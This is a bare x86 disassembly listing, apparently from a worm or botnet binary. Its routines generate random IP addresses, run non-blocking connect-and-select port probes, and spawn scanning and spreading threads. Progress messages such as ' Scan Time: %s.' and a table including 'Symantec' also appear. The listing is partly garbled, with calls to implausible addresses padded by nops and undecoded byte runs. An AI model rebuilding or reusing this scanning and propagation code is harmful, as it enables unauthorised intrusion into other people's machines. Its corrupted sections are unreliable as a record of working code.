; ---------------------------------------------------------------------------
loc_40B4E0: ; CODE XREF: sub_40B44F+72j
; sub_40B44F+7Dj ...
xor eax, eax
loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj
pop esi
pop ebp
retn
sub_40B44F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B506
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B506: ; CODE XREF: sub_40B4E5+19j
push ebx
push esi
loc_40B508: ; CODE XREF: sub_40B4E5+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B516
cmp [ebp+var_4], eax
jnz short loc_40B562
loc_40B516: ; CODE XREF: sub_40B4E5+2Aj
test edi, edi
jnz short loc_40B557
cmp bl, 2Dh
jnz short loc_40B54B
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B54B
cmp al, 5Dh
jz short loc_40B54B
cmp [ebp+var_4], edi
jnz short loc_40B54B
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B557
cmp bl, al
jg short loc_40B557
push 1
mov [edx], esi
pop edi
jmp short loc_40B557
; ---------------------------------------------------------------------------
loc_40B54B: ; CODE XREF: sub_40B4E5+38j
; sub_40B4E5+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B557
push 1
pop edi
loc_40B557: ; CODE XREF: sub_40B4E5+33j
; sub_40B4E5+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B508
; ---------------------------------------------------------------------------
loc_40B562: ; CODE XREF: sub_40B4E5+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B56F
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B56F: ; CODE XREF: sub_40B4E5+82j
cmp edi, eax
jnz short loc_40B578
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B578: ; CODE XREF: sub_40B4E5+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B4E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57D proc near ; CODE XREF: sub_40B44F+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B599: ; CODE XREF: sub_40B57D+3Aj
cmp [eax], bl
jz short loc_40B5B9
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B5AE
cmp cl, 2Ah
jnz short loc_40B5B9
cmp cl, 3Fh
jnz short loc_40B5B1
loc_40B5AE: ; CODE XREF: sub_40B57D+25j
inc eax
mov [edi], eax
loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B599
; ---------------------------------------------------------------------------
loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej
; sub_40B57D+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B5C4
inc dword ptr [esi]
jmp short loc_40B5B9
; ---------------------------------------------------------------------------
loc_40B5C4: ; CODE XREF: sub_40B57D+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B5E5
mov edx, [esi]
cmp [edx], bl
jz short loc_40B5D6
xor eax, eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5D6: ; CODE XREF: sub_40B57D+53j
cmp cl, bl
jnz short loc_40B5E5
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B5E5
push 1
pop eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj
; sub_40B57D+5Bj ...
push eax
push dword ptr [esi]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_40B62F
loc_40B5F3: ; CODE XREF: sub_40B57D+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B5F7: ; CODE XREF: sub_40B57D+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B60F
cmp cl, 5Bh
jz short loc_40B60F
cmp dl, bl
jz short loc_40B60F
inc eax
mov [edi], eax
jmp short loc_40B5F7
; ---------------------------------------------------------------------------
loc_40B60F: ; CODE XREF: sub_40B57D+82j
; sub_40B57D+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B626
push eax
push dword ptr [esi]
call sub_40B44F
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B62B
; ---------------------------------------------------------------------------
loc_40B626: ; CODE XREF: sub_40B57D+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B62B: ; CODE XREF: sub_40B57D+A7j
cmp eax, ebx
jnz short loc_40B5F3
loc_40B62F: ; CODE XREF: sub_40B57D+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B642
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B642
mov [ebp+var_4], 1
loc_40B642: ; CODE XREF: sub_40B57D+B6j
; sub_40B57D+BCj
mov eax, [ebp+var_4]
loc_40B645: ; CODE XREF: sub_40B57D+57j
; sub_40B57D+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B57D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4317A4
push eax
xor ebx, ebx
call sub_41B886
cmp dword_431408, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B6BC
push esi
mov esi, offset dword_431410
loc_40B67D: ; CODE XREF: sub_40B64A+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B6B2
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431798
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
add esp, 1Ch
loc_40B6B2: ; CODE XREF: sub_40B64A+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B67D
pop esi
loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B64A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CDA80
mov ecx, dword_4CDA7C
push esi
push dword_4CACB4
lea esi, [ecx+eax]
call sub_41A88B
pop ecx
push eax
push esi
push dword_4CDA80
lea eax, [ebp+var_200]
push dword_4CDA7C
push offset unk_4317C4
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 30h
pop esi
leave
retn
sub_40B719 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CDCC4
push offset unk_43180C
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 28h
leave
retn
sub_40B785 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push edi
lea eax, [ebp+var_800]
push offset dword_431858
push eax
call sub_41B886
cmp dword_431408, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B846
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B80F: ; CODE XREF: sub_40B7DA+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431848
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B80F
pop esi
loc_40B846: ; CODE XREF: sub_40B7DA+2Dj
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_800]
push eax
call sub_4151AC
add esp, 30h
pop edi
leave
retn
sub_40B7DA endp
; ---------------------------------------------------------------------------
byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4CAFB4
xor edi, edi
mov [ebp-8], eax
cmp dword_431408, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40BA03
mov ebx, offset dword_431408
mov eax, ebx
loc_40B8F2: ; CODE XREF: ___:0040B9FDj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C087
add esp, 0Ch
cmp eax, 1
jnz loc_40B9F3
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_4318A8
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41B886
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41B886
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40B98E
lea eax, [ebp-124h]
loc_40B98E: ; CODE XREF: ___:0040B986j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41B886
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B9F3: ; CODE XREF: ___:0040B905j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B8F2
loc_40BA03: ; CODE XREF: ___:0040B8E5j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431874
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
sub al, 2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B33E
test eax, eax
pop ecx
jle short loc_40BA92
mov eax, [ebp+arg_C]
push dword_4CB0C0[eax*8]
call dword_4CB000
push eax
lea eax, [ebp+var_200]
push offset unk_4318F8
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40BAA5
; ---------------------------------------------------------------------------
loc_40BA92: ; CODE XREF: sub_40BA56+13j
lea eax, [ebp+var_200]
push offset unk_4318D8
push eax
call sub_41B886
pop ecx
pop ecx
loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 18h
leave
retn
sub_40BA56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BACD proc near ; CODE XREF: sub_40C124+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BF9F
shl eax, 6
xor ebx, ebx
cmp dword_431414[eax], ebx
jz loc_40BF9F
push 5
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BD54
mov eax, dword_429078
push edi
mov esi, offset dword_4CD17C
push 104h
push esi
push ebx
mov dword_4CD38C, eax
mov dword_4CD388, ebx
nop
call near ptr 266039Ah
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CD280
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD178, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CD410, eax
jnz short loc_40BB80
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD390
call sub_41B5F0
add esp, 0Ch
mov dword_4CD414, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB80: ; CODE XREF: sub_40BACD+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD390
call sub_41B5F0
add esp, 0Ch
mov dword_4CD414, ebx
loc_40BB9A: ; CODE XREF: sub_40BACD+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CD38C
push offset unk_42BE5C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CD384, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD178
push offset word_411796
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, dword_4CD384
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BC08
loc_40BBF6: ; CODE XREF: sub_40BACD+139j
cmp dword_4CD418, ebx
jnz short loc_40BC23
push 32h
nop
call near ptr 26703BBh
jmp short loc_40BBF6
; ---------------------------------------------------------------------------
loc_40BC08: ; CODE XREF: sub_40BACD+127j
nop
call near ptr 2670D70h
push eax
lea eax, [ebp+var_204]
push offset unk_431A18
push eax
call sub_41B886
add esp, 0Ch
loc_40BC23: ; CODE XREF: sub_40BACD+12Fj
lea eax, [ebp+var_204]
push eax
call sub_4151AC
mov eax, dword_4CACB0
mov esi, offset dword_4CD424
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CD634, eax
mov dword_4CD630, ebx
call near ptr 266039Ah
nop
push 103h
push edi
push offset dword_4CD528
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD420, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CD6B8, eax
push 7Fh
jnz short loc_40BCA4
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD638
call sub_41B5F0
add esp, 0Ch
mov dword_4CD6BC, 1
jmp short loc_40BCBE
; ---------------------------------------------------------------------------
loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD638
call sub_41B5F0
add esp, 0Ch
mov dword_4CD6BC, ebx
loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CD634
push offset unk_4319E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CD62C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD420
push offset byte_40E991
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, dword_4CD62C
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BD2C
loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj
cmp dword_4CD6C0, ebx
jnz short loc_40BD47
push 32h
call near ptr 26703BBh
nop
jmp short loc_40BD1A
; ---------------------------------------------------------------------------
loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj
call near ptr 2670D70h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_4319B0
push eax
call sub_41B886
add esp, 0Ch
loc_40BD47: ; CODE XREF: sub_40BACD+253j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BD54: ; CODE XREF: sub_40BACD+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43141C[ecx], ebx
jz loc_40BE7D
push 7
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BE77
mov eax, dword_4CDCBC
cmp [ebp+arg_90], bl
mov dword_4CD0E4, eax
mov eax, [ebp+arg_110]
mov dword_4CD0D8, eax
mov eax, [ebp+arg_138]
mov dword_4CD0E0, ebx
mov dword_4CD168, eax
push 7Fh
jnz short loc_40BDC8
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD0E8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD16C, 1
jmp short loc_40BDE2
; ---------------------------------------------------------------------------
loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD0E8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD16C, ebx
loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j
push dword_4CD0E4
lea eax, [ebp+var_204]
push offset unk_431980
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B0F6
add esp, 18h
mov dword_4CD0DC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD0D8
push offset byte_40E6EF
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, dword_4CD0DC
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BE4F
loc_40BE3D: ; CODE XREF: sub_40BACD+380j
cmp dword_4CD170, ebx
jnz short loc_40BE6A
push 32h
nop
call near ptr 26703BBh
jmp short loc_40BE3D
; ---------------------------------------------------------------------------
loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej
call near ptr 2670D70h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431948
push eax
call sub_41B886
add esp, 0Ch
loc_40BE6A: ; CODE XREF: sub_40BACD+376j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BE77: ; CODE XREF: sub_40BACD+2A8j
mov eax, [ebp+arg_130]
loc_40BE7D: ; CODE XREF: sub_40BACD+298j
shl eax, 6
cmp dword_431418[eax], ebx
jz loc_40BF9F
push 3
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BF9F
mov esi, offset dword_4CD954
push 104h
push esi
push ebx
call near ptr 266039Ah
nop
push 5Ch
push esi
call sub_41BE40
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BEBE
mov [eax], bl
loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj
mov eax, dword_42907C
mov dword_4CDA6C, ebx
mov dword_4CDA58, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD6CC
call sub_41B886
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CD6C8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CDA58
mov dword_4CDA64, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CDA68, ecx
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42BDE4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov dword_4CDA60, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD6C8
push offset sub_40F0D5
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, dword_4CDA60
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BF77
loc_40BF65: ; CODE XREF: sub_40BACD+4A8j
cmp dword_4CDA74, ebx
jnz short loc_40BF92
push 32h
nop
call near ptr 26703BBh
jmp short loc_40BF65
; ---------------------------------------------------------------------------
loc_40BF77: ; CODE XREF: sub_40BACD+496j
nop
call near ptr 2670D70h
push eax
lea eax, [ebp+var_204]
push offset unk_431914
push eax
call sub_41B886
add esp, 0Ch
loc_40BF92: ; CODE XREF: sub_40BACD+49Ej
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BF9F: ; CODE XREF: sub_40BACD+14j
; sub_40BACD+25j ...
pop esi
pop ebx
leave
retn
sub_40BACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CB0C0h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41C310
add esp, 0Ch
push [ebp+arg_0]
call dword_4CAE9C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CAF70
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41C310
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BFA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFEB proc near ; CODE XREF: sub_40C124+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41AFE0
cmp eax, 0Fh
pop ecx
jbe short loc_40C013
xor eax, eax
jmp short loc_40C084
; ---------------------------------------------------------------------------
loc_40C013: ; CODE XREF: sub_40BFEB+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C645
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C040
call sub_41B8E2
mov [ebp+var_C], eax
loc_40C040: ; CODE XREF: sub_40BFEB+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C04D
call sub_41B8E2
mov [ebp+var_8], eax
loc_40C04D: ; CODE XREF: sub_40BFEB+58j
cmp [ebp+var_4], esi
jnz short loc_40C05A
call sub_41B8E2
mov [ebp+var_4], eax
loc_40C05A: ; CODE XREF: sub_40BFEB+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C066
call sub_41B8E2
loc_40C066: ; CODE XREF: sub_40BFEB+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CB0C0[ecx*8], eax
loc_40C084: ; CODE XREF: sub_40BFEB+26j
pop esi
leave
retn
sub_40BFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C087 proc near ; CODE XREF: ___:0040B8FAp
; sub_40C124+BBp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CAFF4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C0B0
xor eax, eax
jmp short loc_40C11F
; ---------------------------------------------------------------------------
loc_40C0B0: ; CODE XREF: sub_40C087+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CAF74
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CB010
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CAF1C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CAF5C
push esi
mov edi, eax
call dword_4CB00C
xor eax, eax
cmp edi, ebx
setnle al
loc_40C11F: ; CODE XREF: sub_40C087+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C124 proc near ; DATA XREF: sub_40C124+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C16B: ; CODE XREF: sub_40C124+204j
mov eax, dword_43DEB4[ebx]
cmp dword_4CB0C4[eax*8], 0
jz loc_40C32D
cmp [ebp+var_10], 0
push eax
jz short loc_40C195
lea eax, [ebp+var_150]
push eax
call sub_40BFEB
pop ecx
jmp short loc_40C19A
; ---------------------------------------------------------------------------
loc_40C195: ; CODE XREF: sub_40C124+60j
call sub_40BFA3
loc_40C19A: ; CODE XREF: sub_40C124+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43DEB4[ebx]
push [ebp+var_3C]
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_28C]
push offset unk_431A74
push eax
call sub_41B886
